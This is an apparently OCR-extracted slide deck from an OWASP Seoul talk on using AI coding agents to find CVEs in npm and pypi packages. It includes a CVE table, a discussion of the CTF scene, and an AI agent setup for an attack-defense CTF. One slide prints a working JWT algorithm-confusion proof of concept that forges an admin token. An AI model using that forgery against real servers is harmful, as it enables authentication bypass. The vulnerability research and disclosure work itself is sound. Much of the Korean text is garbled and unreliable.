Al AjcH, 2= CVES| FoIZ L|CY.
Al 2t B2 Ao Chst
ZIE LOo{EANR

O/ claudecli,codexcliS2 EsliOleff TETEZ

=

pypi, npm S I{7|X| 7| =22 Github 2IHE QEAAN|M Al |2 S %0} {package
name}-report.md £ 24l 3. glt clone S E8f| 20| I}AUS HIOFA EABHE| 2| E ALt
Xt A|ZH CVSS 4.0 Score, IHF|X| FZHCIREE 24 X|oFH EIQIS HO{F
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Who am |

ZIEHH (Ethan Taebeom Kim) @ Cremit

+20y dev + sec exp

2003 @ C2lof 7H (7y)
Al 2|e|X, A0 Cigt o7t B2

2005 @ MFC7Het (5y)
2011 @ S Eet3ArEE (android, python)
2013 @ ALl Bigdata A|AH 713

“gt = ofl|” -> “& Sti|” -> “L{ 7t Ck 82"
2015 @ SHZE TenDollar &2 @Hackability
2019 @ ==AM2 2 ZMEZ (full stack, nextjs) Al SAO| AFT, S, T

N (Al 7h e 220 L7 e 220i| CHet HOf)
2025 @ Cremit&®
2025.8 Al 7tsd0]| CHoll 2EHXNMOZ HE
+20y-dev+see-exp ->+1y Al exp
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CTF is dead?

j‘he CTF scene
iIsdead. .-

CTFs Are Dead (and we killed them)

Frontier Al has broken the open CTF format. The scorebc

BILICE ZHARIF AR M2I3t AN ILICE

S

human skill cleanly anymore, and the old game is not cor U

$208 .08

® retornam - Vg

Funny you are criticizing LLM when you wrote all this with an LLM.

Anyone who refuses to learn during a CTF and uses an LLM to solve
the whole point of a CTF is to challenge yourself to learn or use conc

L Active Recent Comments Search

A The CTF scene is dead (secity) (vibscoding) kabir.au
40 via @ Shorden 4 days ago | caches | 9 comments

You must be logged in to leave a comment.

Post Preview

[-] @ muvion 4 days ago

4 About the "LLMs are chess engines for CTF" take the article discusses: There's a major cultural

14 difference here that | think should be noted. CTF was always at least in part a tech arms race, with
tool use and development being not just allowed but well-respected. Long before LLMs, competitors
were employing ever fancier fuzzers, decompilers, dynamic binary analysis, SMT solvers etc. There
was no similar progression in chess. There, it was basically all human brain power until one day
computers without any input from humans just started to dominate.
So in chess, the culture quickly agreed on banning engines in competitive play and sanctions it as
cheating, mostly effectively. In CTF, it's much harder to draw the line. After all, LLMs are also just
C++ (or something) programs running on some computers that help you solve challenges. They're
just better than the last generation of tools and take less skill to use.

[-] @ timthelion 2 days ago
A They can gain a few years by making it do you can use LLMs but only on prem with standard specs,
1 like with F1 racing.

[-] @ freddyb 4 days ago
8 agree that the CTF scene is in a really dire state and that everyone is still st a loss of what to do,
9 put | think there are some aspects of ctf we can and should salvage
The competitive aspect and the bragging rights might be in danger, but | think there's a way to keep
it for teaching, learning and exchanging new ideas. As an example, do away with the scoreboards.
Consider to remove the time limitations. Run it for longer.
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CTF is dead?

“Bi 20| AttHCE

1 HiZe| SXot gA0] Hotn /S
2 7|E0= SHEX| RLHNE BHE & + GlS
3 EERZ ™I A W E0E7OtLH HZ20| o=
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CTF is dead?
“BREE AHO| ARFHLC”

1 CTFRE7t 2Es AYE 37| ofge 7%

2 AIZ St 26l O I AMO| HlUrtn 2 4

[ T F E TI ME CTFs  Upcoming Archive ~ Calendar Teams ~ FAQ Con

Team rating

Rating
1005.080
879.148
791.888

736.954

718.187
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2T g
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oy « £9A} 64574

e ko hd

@Normaltic - 75 17.1

HIBIM| 2~ ...

@ Instagram 2| &3 171

Q785 v

O 1

7t
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H 491 @ 2
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g2100 v
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26| B0 HHRIU? YHs| 2F ZX|A EfXIX...
XtAls] &7

S92 G @2

OWASP
o CREMIT Seoul Chapter

(K



Al-generated Report (Al slop)

“Aa A= s 2H Rt e ZE= Ho Al
ex) 2l ZE= 108 SU=H F= #2FH2 50% > 10% Z =05

[

Al O] AlO|Z

3 ZE 100 2ZE 1000
f% 8ZE 50H 72 2 ZE 1002

“S0{LH9007H 9 M| ZE = ZALE 0| BEMS|FLIR?”
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Al-generated Report (Al slop)

O cremiT

“EMOIX & 5= =Lt X = [ EZES Zrdotr}”

“512] H=7} Y

X2 M Z AH FAHS AU

Al O|H, ALZO| M2 T S O|F7t AUS
SAX= Al 2 7H| & 45h=H| t8Xt= AHEO| 57| =0 E
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CVE 2t?

CVE (Common Vulnerabilities and Exposures) £t?

FIHHE MHo = M Ittt JEI2 TtE= A

MITRE

CVESIATT&CK 22 Eot E& 3 X[4] A|

CNA (CVE Numbering Authority) 2t?

CVE iz S st Soe = A= Hets

m O G

HlA

HXIO| X} 2 M| A

2| 671 7|2
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F™ 2A 1 None
“F ™S AotF|” p) pypi, npm SE&l {7 |X| 7| ZQ Z CiAS A0
CHA
3 FZCHR2E £ 100% 0| A github start X O] &F CHAMS RFOtH
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CH 1 HH Summary, #2FS MH Root cause, PoC M E A8l F
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B 2 AFRE 7|&00 Ciel AbMs| M
H=
O o

|
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Intent (2| =) + Context (M2}) + Constraint (F4!) 2 ME = XA Ml CHQ

Workbench {ithol TETESE HEINOo 2 stat
” d é;l' el
Pipeline «X|QFX S KHO}F H Starget-discovery
2N $analysis
S ‘A B RS E HAYES HOIH”
OrKTLow
2= Sverify
« 2 nl=Eghe X0k S kHOLX|”
Orchestrat A+B & TIE5t= F|fE S HOHH 24 $generate-report
rcnestration
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I A HI
[ —
(13 { | o B5F A — 2
Prompt A7t 22 & = A=71
Prompt € Bt5 7}sct A2 = +Al57| 2ot & 2tF
Workbench MCP, FileSystem, Docker, ...
Debugging
Pipeline ? Docker gdb, peda
Managing v
. reports
FileSystem artifacts/
Workflow
Search
Vector DB
Orchestration
OWASP
° CREMIT Seoul Chapter
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Workbench

Pipeline

Workflow

Orchestration

“AES OH =AM ZE ME2[ot=7t?”

=

S XAS ur= JhsopA| Melots A 52

Starget-discovery

get_packages.py

update.py

JEHEZ OiA

git pull

check_diff.py

Sanalysis

git clone

Sanalysis-st-a

update_db.py

O cremmt @

Seoul Chapter
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« =1 = - L 9
Prompt OfH =M= 2dst2{=717?
o] XYl sES =X FH0Z TN 2 X
Workbench
Shunt HE Mz
A HE
Pipeline Starget-discovery
Sanalysis

Workflow

Sverify
Orchestration $generate-report
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Workbench

Pipeline

Workflow

of2f 29 TR} MY NEfS X

oA BH2[st=7}?”

Orchestration

workflow 1

P1 P2 P3
workflow 2 l

P1 P2 P3
workflow 3

P1 ) P3
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CC(:\IIE Eggzzt,,

Phasel-2E22 MM (8 M7, ME2 #f 4™ £ =)

Shunt

Phase 1

Ssearch

tracker.py

ETK Numbering

A W7 |X| ZAHRBE, 225, 7| X| EFY)

v candidates
> ETK-CAND-0001-
> ETK-CAND-0002-
> ETK-CAND-0003-
> ETK-CAND-0004-
> ETK-CAND-0005-
> ETK-CAND-0006-
ETK-CAND-0007-
ETK-CAND-0008-
ETK-CAND-0009-
v ETK-CAND-0010-
> repo
> vuln-001
¥ 00_analysis.md
¥ 00_search.md
> ETK-CAND-0011-
> ETK-CAND-0012-
> ETK-CAND-0013-
> ETK-CAND-0014-

VoV WV

OWASP
o CREMIT Seoul Chapter
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{3 CVE I%ﬂl!-”

Phase 2 - 2M 9l 1%} 2|7

Phase 1

Phase 2

get sources

Sanalysis

Sreview

update statu

S

0%

ERSE

[

A JCCIREE R 2Z HH 2|

1z

HI

1xt ZZ (Go-Stop Review)

HEH 22|

/analyze & — IE 2M HiH=
s 213

T7IX| 248 HF oD, BE RYo| FHorHS NREA EHsict.
E7 84 grepoll 2IESHA| eH=Ct — 2| 2|0 o|3stn HIE FHect.

2y 58
1 24 85 + 7% T
2. 3% BY A (ol YRS weok)
3. IE 85 + W @M (% US)
4. YWY Mg HE (4A =¥ 7H57? exploit 7Hs?)
5. Zols

Z0IE/STOP g8 — 27Hx| ZEE g|1 Betsict.
B 2M2 102 U2 2o

Step 1: 22 &5 4+ 31X mef

O 422 CH2E (pip download / npm pack / git clone)
O ClEER] BE mjet - A 3 9%/, elof, ofEy

0 IE 72 # (Y 23 & X))

O README/EAMOiIA TH7|X| Sxiat A8 mpet

Step 2: 32 M 44
ol WPIXY i BE oI% S Ligisick

O 370 API Hi2tOjE| (Bt oIXt, 4 24H)

O oY oy dlolEl (o, UENS colE, 2x¥)
O 83 ¥4, 43 ny

O HTTP &d, 3|, URL

O CIg 2fo|=2{2|2RE| g HlofE

2t o] chsf: HAXOR IAXIL HojE & A=
Step 3: ZE &5 + ¥ YA £
ICE gopiM ol BE FEne|E HESIC S 84-Ho| otLl2t §Xte| o|ojE =rf.

oz 2]/H{E eHH Y (C/C++/Rust unsafe)

« HiH 37| o] BuHETH
« AL R0} 20| QIeiA/QEAY/Z0|2 MolTt
« B4 QuERS} 27| Aol YBE FEok

O cremiT

OWASP
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{3 CVE I%ﬂl!-”

Phase 3 - PoC Triage -> DA Review -> 2| ZE MM

Phase 2

211 g 3l
v 015-260211 peg-rce-[NV]

¥ MITRE_RE
¥ F T
Phase 3 220 setmpes
Auto Triage PoC MM 3 AZ 2260 wurvon
DA Review Devil’s Advocate (Xt Review — Hunt WXl Eot —
| # | Candidate | #1%% | Review | DA | Report | HEj |
1= | | = | I
Report AFEHO| E7| 2|5 3| E AM | 1 | ETK-CAND-002- vuln-001: 00B | GO | W& | 001-260307-.. | 2IZE Y |
| 2 | ETK-CAND-0003- S| - |STOP | - |- | &4 e=|
| 3 | ETK-CAND-0004- | = | STOP | - | - | 24 2= |
| 4 | ETK-CAND-0005- | vuln-@01: BOF | GO | A& ZE | - | DA |
| 5 | ETK-CAND-0006- S| STOP | - | - | B4 2= |

GO+DASH: 17 - 2|ZE &Y
STOP: 37 | DAEH: 172

OWASP
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“CVE 27 2t (2~38)

3070 M= (13 SE Ch7], 1170 CVE + 371 Ack + 17l private bounty $500 = 88.23%) + 27H reject

ID Package / Target
Kysely
ujson
Sequelize
Drizzle ORM
Pillow
multer
path-to-regexp
ETK-26-0089 Undisclosed
nanotar
ajv
DiskCache
MedusaJS
ETK-26-0032 Undisclosed

ETK-26-0003 Undisclosed

Severity
High (8.2)
High (7.5)
High (7.5)
High (7.5)
High (8.6)
High (8.7)
High (7.5)
Critical (9.8)
High (7.5)
High (7.5)
High (7.3)
High (7.5)
High (7.5)

Critical (9.8)

Vulnerability
SQL Injection via JSON Path Key/Index Injection
Heap Buffer Overflow via Signed Integer Overflow in Encoder
SQL Injection via JSON Column Cast Type
SQL Injection via Improper Identifier Escaping
Invalid PSD Tile Extents via Integer Overflow
Orphan File Accumulation via Async fileFilter Race Condition
ReDoS via 3+ Parameter Patterns
Heap Buffer Overflow
Zip Slip in parseTar()/parseTarGzip()
ReDoS via $data Reference
Unsafe Pickle Deserialization to RCE
Race Condition in Promotion Usage Limit
Missing Resource Limit to DoS

Sandbox Escape to RCE

https://github.com/EthanKim88/ethan-cve-disclosures

Status
Public
Public
Public
Public
Public
Public
Public

Acknowledged
Public
Public
Public
Public

Acknowledged

Acknowledged

Weekly Downloads
6,010,148
24,734,571
2,974,060
9,695,559
110,467,043
13,386,831
181,106,102
1,059,114
304,302,260
10,177,592

103,695

GitHub Stars
13,823
4,483
30,347
34,451
13,578
12,050
8,591
193
14,716
2,878

33,793

OWASP
o CREMIT Seoul Chapter

33
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Bounty?
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- JHol mEEE?
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a2 “3ME H1E J|&olo] CVE & g”
Cursor 20| PR Ofl 2H|E H| 7|5t X2t maintainer 7t production ol =3 20| merge

e ©  cursor Bot ) reviewed on Nov 3, 2025 View reviewed changes

v packages/modules/promotion/src/services/promotion-module.ts

356 + id: promotion.id,
357 + used: newUsedValue,
358 + H

359  + 5

& cursor  Bot ) on Nov 3, 2025
Bug: Race Condition in Promotion Usage Limit Checks

Race condition in promotion usage limit check: The promotion usage limit is checked by reading the current
used value and comparing it with limit , then later updating the database. However, if multiple concurrent
requests complete orders with the same promotion code, they could all pass the limit check before any of
them updates the database, allowing the promotion to be used more times than the limit allows. For
example, if limit is 10 and used is 9, two concurrent requests could both see used=9, pass the check (9+1 <=
10), and both complete successfully, resulting in used=11 which exceeds the limit of 10.

@ Fixin Cursor 7 Fix in Web

(©)

@‘ Reply...

OWASP
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FHEL “AI ZEAIL0]Y”

PoC 2= A[U|0|, poc 2=E otLto| THAO| A A2| SFHAM H 1 EE|HE FEOHK| XS

Input Payload 1

(100 ms)
Input Payload 2
(500 ms)
Trigger (1 ms) Inp(lgtoggyr::)s;;d 3
Trigger (1 ms)
Trigger (1 ms)

OWASP
e CREMIT Seoul Chapter
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S “Al ZFA|Ljo] M

PoC & ZAlU[0|M, CH&H 0|11t Internal X[ 40| O™ 2 HSIY| {2 S

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from jose import jwt

import hmac, hashlib, json, base64 python, jOS@

def be4url(data): JWT ProceSS

return base64.urlsafe_b64encode(data).rstrip(b'=")

# Server's key pair (public key i public) RSA DER PEM
) )

private_key = rsa.generate_private_key(65537, 2048, default_backend()) —e 1 (kiH'l) RSA 9"11“01 AcI;Ié-)I + _cTISjH;l X‘”—g—

der_public = private_key.public_key().public_bytes(
serialization.Encoding.DER, T — = Q oy JWT Se rver
serialization.PublicFormat.SubjectPublicKeyInfo 2 (_5 _'II-) $7H9| = DER pUbIIC key E EE%I-

)

# Attacker forges admin token using DER public key as HMAC secret
evil_claims = {"sub": "attacker", "role": "admin", "exp": 9999999999}
header = json.dumps({"alg": "HS256", "typ": "JWT"})

payload = json.dumps(evil_claims) ——o 3 (—3—7_4,I|-) eVil Claim % D._I'%O‘I A‘IDO:'
signing_input = b64url(header.encode()) + b'.' + b64url(payload.encode())

sig = hmac.new(der_public, signing_input, hashlib.sha256).digest() '

ot
)
Mt

forged_token = (signing_input + b'.' + b64url(sig)).decode()

# Server accepts forged token —-— BYPASSED

result = jwt.decode(forged_token, der_public) # algorithms=None by default lo———0 _
! gecToKen ferpih e ’ ! 4 Ze] 7x| WEHS Aol HIAIS £F
# Returns: {'sub': ‘'attacker', 'role': ‘'admin', 'exp': 9999999999}
O cremiT OWASP 38
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1 Request > Server /
GET/ . /admin
GET /admin
internal route
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ZHEL: MR TfS”

Better-Auth Of| A
- SAML Authentication Bypass

December 12th, 2025 v

Ethan 9:05 AM

" ® Cremit Argus 0 M AF3H= Q15 2lo|=242] (Better-Auth) o] SSO 915 7|50 Critical
(CVSS 9.8) M ZH|0|E L7450 sl{E 7|2 Disabled sti&LICE

=H}Z SSO £ Disabled st120 2 F2fH0f Cist LIS
o Mef eluck.

)

=

Cremit Argus = 1Al (v0.5.1) 0| A
= Better-Auth EEXI0|A MYz

I{X|7} E|7] F7HX| SSO 7|S0il thall Disabled at1l 2HF TiX|7F ZO{X|AHLt EfE#0] G1o™ K&
7

3oFES wrsto] R / F19FH M4 20| Tlo|Ar BHKIS| WS

XM AS

7|= Disable

IHX|Z FIE5104 CHA| SSO 7|50l Chal RIZH= ! 4 ;155 slzBLICE SAA 22 sEE=Rds
Ij7|X| £t x| ML
7| Enable
O cremiT OWASP ®
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S “Al X}

CTF Final Round (HackCity Format / AD-SCADA, 5¢! 1E! / 121 ElO 2 #0)

DMz Int. segment 1 SCADA

Trade Web —’_ —— Hospital

Application —— —T Train

Government
Int. segment 2 Complex

- — Oil Depot

OWASP
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%I'&-I Ck. “Al -T'.-_I'EIXI'”

CTF 8% (HackCity Format / AD-SCADA, 521 1E! / 121 Elo 2 #(q)

Human Operator .
i Autopilot Group - 8 agents Session

Claude Code / Codex Agents

I 1 T 1 T 1 T 1
lve-web lve-ad ivot lve-scad. i
! so \I/e wel ! ! so \I/e a ! ! pl\IIO ! !so vxle sca a! Artrfact
1 1 I I
|
dispatch-manager
isk— il
fiskpautontior Manual Group - 4 agents Target

MCP (stdin/stdout)

MCP Server
Req & Resp

tools.ts (40+ tools) | resources.ts | prompts.ts

T
| REST API

Operations Dashboard (Next.js)

Util Group - 2~4 agents Report

T 1T 1 T 1T 1
|Network | |Creds | | AD | |SCADA| |Reports| ...
L I L | L I L ]

V-
| soLite (Prisma) |
L
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